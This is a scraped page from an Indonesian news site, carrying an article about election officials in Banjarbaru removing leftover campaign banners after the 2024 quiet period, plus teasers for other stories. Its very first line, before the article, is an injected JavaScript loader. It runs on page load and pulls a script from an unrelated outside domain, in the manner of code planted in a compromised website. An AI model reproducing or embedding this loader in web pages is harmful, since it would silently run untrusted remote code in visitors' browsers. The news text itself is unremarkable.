(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Penertiban Alat Peraga Kampanye (APK) yang masih terpasang selama masa tenang Pemilu 2024 berakhir akan dilanjutkan Satpol PP Banjarbaru.
Hal itu diungkapkan Koordinator Divisi Hukum, Pencegahan, Partisipasi Masyarakat dan Humas Bawaslu Banjarbaru, Bahrani kepada awak media, Selasa (13/2/2024) sore.
Disebutkanya, jika masih ada APK yang tersisa setelah tanggal 13 Februari 2024, petugas Satpol PP akan menindaklanjuti pelepasannya sebagai pelanggaran reklame liar.
“Terkait penertiban usai masa tenang, kita sudah kordinasi ke stakeholder pemerintah kota diwakili Satpol PP. Sebelumnya pun surat imbauan sudah diberikan ke masing-masing Parpol dan Caleg per tanggal 7 kemarin,” ucap Bahrani.
Dirinya mengakui kendala Bawaslu dalam hal penertiban APK sejak tanggal 11-13 Februari ini adalah terbatasnya jumlah personel, baik Satpol PP sendiri, TNI, Polri hingga kepada petugas KPU.
Baca juga: Hajatan Demokrasi Kampung Ujung Benteng di Atas Rawa, Bikin TPS di Teras Rumah Warga
“Kita ada keterbatasan juga di waktu tiga hari itu dengan adanya ribuan APK yang ditertibkan, karena tenaga kita pun tenaga pengawas, tenaga pelaksana,” ungkap dia.
Begitu pun dengan APK berupa advertising berbayar, katanya, juga tidak serta merta dapat ditertibkan oleh Satpol PP. Sebab perlu kordinasi dengan pihak ketiga dan juga pada Parpol maupun Caleg untuk bisa menertibkan APK sendiri.
“Kita bicara tentang keterbatasan dan juga persoalan APK advertising proses penertibannya lebih panjang, kita perlu kordinasi menjadikan proses agak lambat,” sambungnya menjelaskan.
Baca juga: 7.052 Surat Suara Rusak Dibakar di Hari Terakhir Masa Tenang
Kendati demikian, ia mengakui seluruh petugas penertiban telah semaksimal mungkin membersihkan APK-APK hingga hari terakhir masa tenang ini.
“Petugas penertiban kota pun sudah berusaha semaksimal mungkin seperti di Liang Anggang itu sudah dicopot, jika masih ada beberapa yang belum maka kita tunggu lah sampai waktu tanggal 13 berakhir. Selepasnya kita informasikan lagi,” jelasnya.
Lebih jauh Bahtiar menjalaskan, sesuai dengan aturan menbat selama minggu tenang Parpol dan Caleg tidak diperbolehkan melakukan segala bentuk kampanye, termasuk dengan APK.
Baca juga: Deretan Pengusaha Tambang Pentolan Tiga Kubu Capres-Cawapres, Ini Nama-namanya
Jika masih ada ditemukan, baik bagi warga pun harus berkordinasi dengan pengawas setempat untuk melakukan penertiban sendiri APK di lingkungannya.
“Kita tidak perbolehkan warga untuk menertibkan sendiri karena kewenangan ini tetap ada di stakeholder kita ketika mereka kordinasi ada pengawas kita baru bisa menertibkan,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
This website uses cookies.